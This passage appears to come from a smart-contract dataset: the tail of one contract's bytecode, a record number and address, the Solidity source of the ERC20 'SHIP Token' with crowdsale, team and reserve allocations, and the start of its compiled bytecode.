05b757600080fd5b506105c0611a84565b6040518082815260200191505060405180910390f35b3480156105e257600080fd5b50610617600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a91565b005b34801561062557600080fd5b5061062e611ca5565b6040518082815260200191505060405180910390f35b34801561065057600080fd5b50610685600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611cb2565b005b34801561069357600080fd5b506106b66004803603810190808035600019169060200190929190505050611ee5565b604051808b600019166000191681526020018a77ffffffffffffffffffffffffffffffffffffffffffffffff191677ffffffffffffffffffffffffffffffffffffffffffffffff191681526020018981526020018863ffffffff1663ffffffff168152602001806020018763ffffffff1663ffffffff1681526020018663ffffffff1663ffffffff1681526020018567ffffffffffffffff1667ffffffffffffffff1681526020018467ffffffffffffffff1667ffffffffffffffff1681526020018360001916600019168152602001828103825288818151815260200191508051906020019080838360005b838110156107be5780820151818401526020810190506107a3565b50505050905090810190601f1680156107eb5780820380516001836020036101000a031916815260200191505b509b50505050505050505050505060405180910390f35b34801561080e57600080fd5b50610831600480360381019080803560001916906020019092919050505061211a565b604051808a600019166000191681526020018961ffff1661ffff1681526020018877ffffffffffffffffffffffffffffffffffffffffffffffff191677ffffffffffffffffffffffffffffffffffffffffffffffff191681526020018781526020018663ffffffff1663ffffffff168152602001806020018563ffffffff1663ffffffff1681526020018463ffffffff1663ffffffff1681526020018360001916600019168152602001828103825286818151815260200191508051906020019080838360005b838110156109135780820151818401526020810190506108f8565b50505050905090810190601f1680156109405780820380516001836020036101000a031916815260200191505b509a505050505050505050505060405180910390f35b34801561096257600080fd5b5061096b61232d565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156109ae578082015181840152602081019050610993565b505050509050019250505060405180910390f35b3480156109ce57600080fd5b506109d76123bb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600080600080600080600102600360008860001916600019168152602001908152602001600020600001546000191614151515610abe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f742065786973747320696e20436f6e74726163742e00000000000000000081525060200191505060405180910390fd5b6003600087600019166000191681526020019081526020016000209050806000015494508060060160009054906101000a900478010000000000000000000000000000000000000000000000000293508060060160089054906101000a900478010000000000000000000000000000000000000000000000000292508060060160109054906101000a90047801000000000000000000000000000000000000000000000000029150509193509193565b610b766123e0565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414151515610c2e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4e6f7420617574686f72697a6564206e6f64650000000000000000000000000081525060200191505060405180910390fd5b6000600102600360008d60001916600019168152602001908152602001600020600001546000191614151515610ccc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f742065786973747320696e20436f6e74726163742e00000000000000000081525060200191505060405180910390fd5b6000600102600460008d600019166000191681526020019081526020016000206000015460001916141515610d8f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f416c72656164792065786973747320696e20436c6f736564436f6e747261637481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b610140604051908101604052808c6000191681526020018b77ffffffffffffffffffffffffffffffffffffffffffffffff191681526020018a81526020018963ffffffff1681526020018881526020018763ffffffff1681526020018663ffffffff1681526020018567ffffffffffffffff1681526020018467ffffffffffffffff1681526020018360001916815250905080600460008d600019166000191681526020019081526020016000206000820151816000019060001916905560208201518160010160006101000a81548167ffffffffffffffff02191690837801000000000000000000000000000000000000000000000000900402179055506040820151816002015560608201518160030160006101000a81548163ffffffff021916908363ffffffff1602179055506080820151816004019080519060200190610edb92919061247b565b5060a08201518160050160006101000a81548163ffffffff021916908363ffffffff16021790555060c08201518160050160046101000a81548163ffffffff021916908363ffffffff16021790555060e08201518160050160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506101008201518160050160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550610120820151816006019060001916905590505060068b90806001815401808255809150509060018203906000526020600020016000909192909190915090600019169055507f53333031000000000000000000000000000000000000000000000000000000006fffffffffffffffffffffffffffffffff19168a77ffffffffffffffffffffffffffffffffffffffffffffffff19161415611069577f7d195d16ba29953c0ccffb34c434bc2966506f4fa6f94da42728c1a67630ed8a8b60405180826000191660001916815260200191505060405180910390a1611100565b7f53333032000000000000000000000000000000000000000000000000000000006fffffffffffffffffffffffffffffffff19168a77ffffffffffffffffffffffffffffffffffffffffffffffff191614156110ff577f0657dd3b00c1c7480c0dd3843cc5adb9803b1ce02e6a9f6e54e22a3995a352028b60405180826000191660001916815260200191505060405180910390a15b5b5050505050505050505050565b60018181548110151561111c57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6111536124fb565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415151561120b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4e6f7420617574686f72697a6564206e6f64650000000000000000000000000081525060200191505060405180910390fd5b6000600102600360008e6000191660001916815260200190815260200160002060000154600019161415156112a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f416c72656164792065786973747320696e20436f6e74726163742e000000000081525060200191505060405180910390fd5b6000600102600460008e60001916600019168152602001908152602001600020600001546000191614151561136b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f416c72656164792065786973747320696e20436c6f736564436f6e747261637481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6101e0604051908101604052808d6000191681526020018c61ffff1681526020018b77ffffffffffffffffffffffffffffffffffffffffffffffff191681526020018a81526020018963ffffffff1681526020018881526020018763ffffffff1681526020018660008151811015156113e057fe5b9060200190602002015167ffffffffffffffff16815260200186600181518110151561140857fe5b9060200190602002015167ffffffffffffffff16815260200186600281518110151561143057fe5b9060200190602002015167ffffffffffffffff16815260200185600081518110151561145857fe5b9060200190602002015177ffffffffffffffffffffffffffffffffffffffffffffffff1916815260200185600181518110151561149157fe5b9060200190602002015177ffffffffffffffffffffffffffffffffffffffffffffffff191681526020018560028151811015156114ca57fe5b9060200190602002015177ffffffffffffffffffffffffffffffffffffffffffffffff191681526020018463ffffffff1681526020018360001916815250905080600360008e600019166000191681526020019081526020016000206000820151816000019060001916905560208201518160010160006101000a81548161ffff021916908361ffff16021790555060408201518160010160026101000a81548167ffffffffffffffff02191690837801000000000000000000000000000000000000000000000000900402179055506060820151816002015560808201518160030160006101000a81548163ffffffff021916908363ffffffff16021790555060a08201518160040190805190602001906115e792919061247b565b5060c08201518160050160006101000a81548163ffffffff021916908363ffffffff16021790555060e08201518160050160046101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555061010082015181600501600c6101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506101208201518160050160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506101408201518160060160006101000a81548167ffffffffffffffff02191690837801000000000000000000000000000000000000000000000000900402179055506101608201518160060160086101000a81548167ffffffffffffffff02191690837801000000000000000000000000000000000000000000000000900402179055506101808201518160060160106101000a81548167ffffffffffffffff02191690837801000000000000000000000000000000000000000000000000900402179055506101a08201518160060160186101000a81548163ffffffff021916908363ffffffff1602179055506101c0820151816007019060001916905590505060058c90806001815401808255809150509060018203906000526020600020016000909192909190915090600019169055507f60ea16e611deaec22d992e02267746362828fca13882a5d0dd11878eaa1812308c60405180826000191660001916815260200191505060405180910390a1505050505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4e6f7420617574686f72697a65642061646d696e00000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561191f57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600080600080600102600360008860001916600019168152602001908152602001600020600001546000191614151515611a07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f742065786973747320696e20436f6e74726163742e00000000000000000081525060200191505060405180910390fd5b6003600087600019166000191681526020019081526020016000209050806000015494508060050160049054906101000a900467ffffffffffffffff16935080600501600c9054906101000a900467ffffffffffffffff1692508060050160149054906101000a900467ffffffffffffffff169150509193509193565b6000600680549050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b55576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4e6f7420617574686f72697a65642061646d696e00000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611bfa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f43616e6e6f742073657420746f20656d7074792061646472657373000000000081525060200191505060405180910390fd5b60018190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000600580549050905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d78576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4e6f7420617574686f72697a65642061646d696e00000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611e1d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f43616e6e6f742073657420746f20656d7074792061646472657373000000000081525060200191505060405180910390fd5b6001600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054039050600181815481101515611e7157fe5b9060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600090555050565b60008060008060606000806000806000806000600102600460008e60001916600019168152602001908152602001600020600001546000191614151515611f94576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4e6f742065786973747320696e20436c6f736564436f6e74726163742e00000081525060200191505060405180910390fd5b600460008d60001916600019168152602001908152602001600020905080600001549a508060010160009054906101000a90047801000000000000000000000000000000000000000000000000029950806002015498508060030160009054906101000a900463ffffffff169750806004018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561209a5780601f1061206f5761010080835404028352916020019161209a565b820191906000526020600020905b81548152906001019060200180831161207d57829003601f168201915b505050505096508060050160009054906101000a900463ffffffff1695508060050160049054906101000a900463ffffffff1694508060050160089054906101000a900467ffffffffffffffff1693508060050160109054906101000a900467ffffffffffffffff16925080600601549150509193959799509193959799565b600080600080600060606000806000806000600102600360008d600019166000191681526020019081526020016000206000015460001916141515156121c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f742065786973747320696e20436f6e74726163742e00000000000000000081525060200191505060405180910390fd5b600360008c600019166000191681526020019081526020016000209050806000015499508060010160009054906101000a900461ffff1698508060010160029054906101000a90047801000000000000000000000000000000000000000000000000029750806002015496508060030160009054906101000a900463ffffffff169550806004018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156122e35780601f106122b8576101008083540402835291602001916122e3565b820191906000526020600020905b8154815290600101906020018083116122c657829003601f168201915b505050505094508060050160009054906101000a900463ffffffff1693508060060160189054906101000a900463ffffffff16925080600701549150509193959799909294969850565b606060018054806020026020016040519081016040528092919081815260200182805480156123b157602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311612367575b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6101406040519081016040528060008019168152602001600077ffffffffffffffffffffffffffffffffffffffffffffffff1916815260200160008152602001600063ffffffff16815260200160608152602001600063ffffffff168152602001600063ffffffff168152602001600067ffffffffffffffff168152602001600067ffffffffffffffff168152602001600080191681525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106124bc57805160ff19168380011785556124ea565b828001600101855582156124ea579182015b828111156124e95782518255916020019190600101906124ce565b5b5090506124f79190612618565b5090565b6101e06040519081016040528060008019168152602001600061ffff168152602001600077ffffffffffffffffffffffffffffffffffffffffffffffff1916815260200160008152602001600063ffffffff16815260200160608152602001600063ffffffff168152602001600067ffffffffffffffff168152602001600067ffffffffffffffff168152602001600067ffffffffffffffff168152602001600077ffffffffffffffffffffffffffffffffffffffffffffffff19168152602001600077ffffffffffffffffffffffffffffffffffffffffffffffff19168152602001600077ffffffffffffffffffffffffffffffffffffffffffffffff19168152602001600063ffffffff168152602001600080191681525090565b61263a91905b8082111561263657600081600090555060010161261e565b5090565b905600a165627a7a72305820048a7908767397ab5775e2b695123e1a6d73981e4324a2e5c25afa54b47baec70029
|
{"success": true, "error": null, "results": {}}
| 5,356 |
0xc3aafbe201dd0545764214c72e9bfffeee796a12
|
pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* The Ship Token (SHIP - SHIPToken) has a fixed supply
*
* The owner can associate the token with a token sale contract. In that
* case, the token balance is moved to the token sale contract, which
* in turn can transfer its tokens to contributors to the sale.
*/
contract SHIPToken is StandardToken, BurnableToken, Ownable {
// Constants
string public constant name = "SHIP Token";
string public constant symbol = "SHIP";
uint8 public constant decimals = 18;
string public constant website = "https://shipowner.io";
uint256 public constant INITIAL_SUPPLY = 1500000000 * (10 ** uint256(decimals));
uint256 public constant CROWDSALE_ALLOWANCE = 825000000 * (10 ** uint256(decimals));
uint256 public constant TEAM_ALLOWANCE = 225000000 * (10 ** uint256(decimals));
uint256 public constant RESERVE_ALLOWANCE = 450000000 * (10 ** uint256(decimals));
// Properties
uint256 public crowdSaleAllowance; // the number of tokens available for crowdsales
uint256 public teamAllowance; // the number of tokens available for the administrator
uint256 public reserveAllowance; // the number of tokens available for the administrator
address public crowdSaleAddr; // the address of a crowdsale currently selling this token
address public teamAddr; // the address of a crowdsale currently selling this token
address public reserveAddr; // the address of a crowdsale currently selling this token
//bool public transferEnabled = false; // indicates if transferring tokens is enabled or not
bool public transferEnabled = true; // Enables everyone to transfer tokens
// Modifiers
/**
* The listed addresses are not valid recipients of tokens.
*
* 0x0 - the zero address is not valid
* this - the contract itself should not receive tokens
* owner - the owner has all the initial tokens, but cannot receive any back
* teamAddr - the admin has an allowance of tokens to transfer, but does not receive any
* crowdSaleAddr - the crowdsale has an allowance of tokens to transfer, but does not receive any
*/
modifier validDestination(address _to) {
require(_to != address(0x0));
require(_to != address(this));
require(_to != owner);
require(_to != address(teamAddr));
require(_to != address(crowdSaleAddr));
_;
}
/**
* Constructor - instantiates token supply and allocates balanace of
* to the owner (msg.sender).
*/
function SHIPToken(address _admin, address _reserve) public {
// the owner is a custodian of tokens that can
// give an allowance of tokens for crowdsales
// or to the admin, but cannot itself transfer
// tokens; hence, this requirement
require(msg.sender != _admin);
require(msg.sender != _reserve);
totalSupply = INITIAL_SUPPLY;
crowdSaleAllowance = CROWDSALE_ALLOWANCE;
teamAllowance = TEAM_ALLOWANCE;
reserveAllowance = RESERVE_ALLOWANCE;
// mint all tokens
balances[msg.sender] = totalSupply.sub(teamAllowance).sub(reserveAllowance);
Transfer(address(0x0), msg.sender, totalSupply.sub(teamAllowance).sub(reserveAllowance));
balances[_admin] = teamAllowance;
Transfer(address(0x0), _admin, teamAllowance);
balances[_reserve] = reserveAllowance;
Transfer(address(0x0), _reserve, reserveAllowance);
teamAddr = _admin;
approve(teamAddr, teamAllowance);
reserveAddr = _reserve;
approve(reserveAddr, reserveAllowance);
}
/**
* Associates this token with a current crowdsale, giving the crowdsale
* an allowance of tokens from the crowdsale supply. This gives the
* crowdsale the ability to call transferFrom to transfer tokens to
* whomever has purchased them.
*
* Note that if _amountForSale is 0, then it is assumed that the full
* remaining crowdsale supply is made available to the crowdsale.
*
* @param _crowdSaleAddr The address of a crowdsale contract that will sell this token
* @param _amountForSale The supply of tokens provided to the crowdsale
*/
function setCrowdsale(address _crowdSaleAddr, uint256 _amountForSale) external onlyOwner {
require(_amountForSale <= crowdSaleAllowance);
// if 0, then full available crowdsale supply is assumed
uint amount = (_amountForSale == 0) ? crowdSaleAllowance : _amountForSale;
// Clear allowance of old, and set allowance of new
approve(crowdSaleAddr, 0);
approve(_crowdSaleAddr, amount);
crowdSaleAddr = _crowdSaleAddr;
}
/**
* Overrides ERC20 transfer function with modifier that prevents the
* ability to transfer tokens until after transfers have been enabled.
*/
function transfer(address _to, uint256 _value) public validDestination(_to) returns (bool) {
return super.transfer(_to, _value);
}
/**
* Overrides ERC20 transferFrom function with modifier that prevents the
* ability to transfer tokens until after transfers have been enabled.
*/
function transferFrom(address _from, address _to, uint256 _value) public validDestination(_to) returns (bool) {
bool result = super.transferFrom(_from, _to, _value);
if (result) {
if (msg.sender == crowdSaleAddr)
crowdSaleAllowance = crowdSaleAllowance.sub(_value);
if (msg.sender == teamAddr)
teamAllowance = teamAllowance.sub(_value);
}
return result;
}
/**
* Overrides the burn function so that it cannot be called until after
* transfers have been enabled.
*
* @param _value The amount of tokens to burn in wei-SHIP
*/
function burn(uint256 _value) public {
require(transferEnabled || msg.sender == owner);
super.burn(_value);
Transfer(msg.sender, address(0x0), _value);
}
}
|
0x60606040526004361061015e5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610163578063095ea7b3146101ed57806318160ddd1461022357806322ed63021461024857806323b872dd1461026c5780632ff2e9dc14610294578063313ce567146102a757806342966c68146102d05780634a5ff749146102e65780634cd412d5146103155780635c9d0fb1146103285780635f0d52961461033b578063661884631461034e5780636625b3491461037057806370a08231146103835780638da5cb5b146103a25780638eeb33ff146103b557806395d89b41146103c8578063a9059cbb146103db578063b02dbd07146103fd578063beb0a41614610410578063c429e4a314610423578063d14ac7c414610436578063d73dd62314610449578063dd62ed3e1461046b578063e282726b14610490578063f2fde38b146104a3575b600080fd5b341561016e57600080fd5b6101766104c2565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101b257808201518382015260200161019a565b50505050905090810190601f1680156101df5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101f857600080fd5b61020f600160a060020a03600435166024356104f9565b604051901515815260200160405180910390f35b341561022e57600080fd5b610236610565565b60405190815260200160405180910390f35b341561025357600080fd5b61026a600160a060020a036004351660243561056b565b005b341561027757600080fd5b61020f600160a060020a0360043581169060243516604435610600565b341561029f57600080fd5b610236610703565b34156102b257600080fd5b6102ba610713565b60405160ff909116815260200160405180910390f35b34156102db57600080fd5b61026a600435610718565b34156102f157600080fd5b6102f96107a5565b604051600160a060020a03909116815260200160405180910390f35b341561032057600080fd5b61020f6107b4565b341561033357600080fd5b6102366107d5565b341561034657600080fd5b6102366107e5565b341561035957600080fd5b61020f600160a060020a03600435166024356107eb565b341561037b57600080fd5b6102366108e5565b341561038e57600080fd5b610236600160a060020a03600435166108f5565b34156103ad57600080fd5b6102f9610910565b34156103c057600080fd5b6102f961091f565b34156103d357600080fd5b61017661092e565b34156103e657600080fd5b61020f600160a060020a0360043516602435610965565b341561040857600080fd5b610236610a01565b341561041b57600080fd5b610176610a07565b341561042e57600080fd5b610236610a3e565b341561044157600080fd5b610236610a4d565b341561045457600080fd5b61020f600160a060020a0360043516602435610a53565b341561047657600080fd5b610236600160a060020a0360043581169060243516610af7565b341561049b57600080fd5b6102f9610b22565b34156104ae57600080fd5b61026a600160a060020a0360043516610b31565b60408051908101604052600a81527f5348495020546f6b656e00000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b60035460009033600160a060020a0390811691161461058957600080fd5b60045482111561059857600080fd5b81156105a457816105a8565b6004545b6007549091506105c290600160a060020a031660006104f9565b506105cd83826104f9565b50506007805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03939093169290921790915550565b60008083600160a060020a038116151561061957600080fd5b30600160a060020a031681600160a060020a03161415151561063a57600080fd5b600354600160a060020a038281169116141561065557600080fd5b600854600160a060020a038281169116141561067057600080fd5b600754600160a060020a038281169116141561068b57600080fd5b610696868686610bcc565b915081156106fa5760075433600160a060020a03908116911614156106cc576004546106c8908563ffffffff610d4e16565b6004555b60085433600160a060020a03908116911614156106fa576005546106f6908563ffffffff610d4e16565b6005555b50949350505050565b6b04d8c55aefb8c05b5c00000081565b601281565b60095474010000000000000000000000000000000000000000900460ff168061074f575060035433600160a060020a039081169116145b151561075a57600080fd5b61076381610d60565b600033600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a350565b600854600160a060020a031681565b60095474010000000000000000000000000000000000000000900460ff1681565b6b02aa6c8b9d7269cbd900000081565b60065481565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561084857600160a060020a03338116600090815260026020908152604080832093881683529290529081205561087f565b610858818463ffffffff610d4e16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b6b01743b34e18439b50200000081565b600160a060020a031660009081526001602052604090205490565b600354600160a060020a031681565b600754600160a060020a031681565b60408051908101604052600481527f5348495000000000000000000000000000000000000000000000000000000000602082015281565b600082600160a060020a038116151561097d57600080fd5b30600160a060020a031681600160a060020a03161415151561099e57600080fd5b600354600160a060020a03828116911614156109b957600080fd5b600854600160a060020a03828116911614156109d457600080fd5b600754600160a060020a03828116911614156109ef57600080fd5b6109f98484610e1b565b949350505050565b60055481565b60408051908101604052601481527f68747470733a2f2f736869706f776e65722e696f000000000000000000000000602082015281565b6aba1d9a70c21cda8100000081565b60045481565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610a8b908363ffffffff610f1616565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600954600160a060020a031681565b60035433600160a060020a03908116911614610b4c57600080fd5b600160a060020a0381161515610b6157600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000600160a060020a0383161515610be357600080fd5b600160a060020a038416600090815260016020526040902054821115610c0857600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610c3b57600080fd5b600160a060020a038416600090815260016020526040902054610c64908363ffffffff610d4e16565b600160a060020a038086166000908152600160205260408082209390935590851681522054610c99908363ffffffff610f1616565b600160a060020a038085